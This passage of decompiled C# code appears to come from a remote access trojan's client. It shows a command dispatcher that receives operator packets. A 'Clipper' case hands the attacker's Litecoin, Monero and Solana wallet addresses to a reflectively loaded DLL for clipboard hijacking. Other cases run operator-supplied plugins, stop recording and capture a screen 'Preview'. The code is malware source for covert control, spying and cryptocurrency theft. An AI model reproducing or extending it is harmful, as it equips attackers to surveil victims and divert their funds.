string asString35 = unpack.GetAsString("LTC");
|
|
string asString36 = unpack.GetAsString("XMR");
|
|
string asString37 = unpack.GetAsString("SOLANA");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"Clipper#{asString33}#{asString34}#{asString35}#{asString36}#{asString37}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Clipper: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Clipper.");
|
|
return;
|
|
}
|
|
break;
|
|
case "RunPlugin": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("PluginHandler", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "StopRecording": {
|
|
this.cmd("StopRecording");
|
|
return;
|
|
}
|
|
break;
|
|
case "Preview": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) "Preview"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Ping: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Preview.");
|
|
return;
|
|
}
|
|
break;
|
|
}
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
Console.WriteLine("DLL or Command not loaded yet, cannot process command: " + asString1);
|
|
else
|
|
Console.WriteLine("Unknown packet type: " + asString1);
|
|
}
|
|
}
|
|
|
|
|
|
|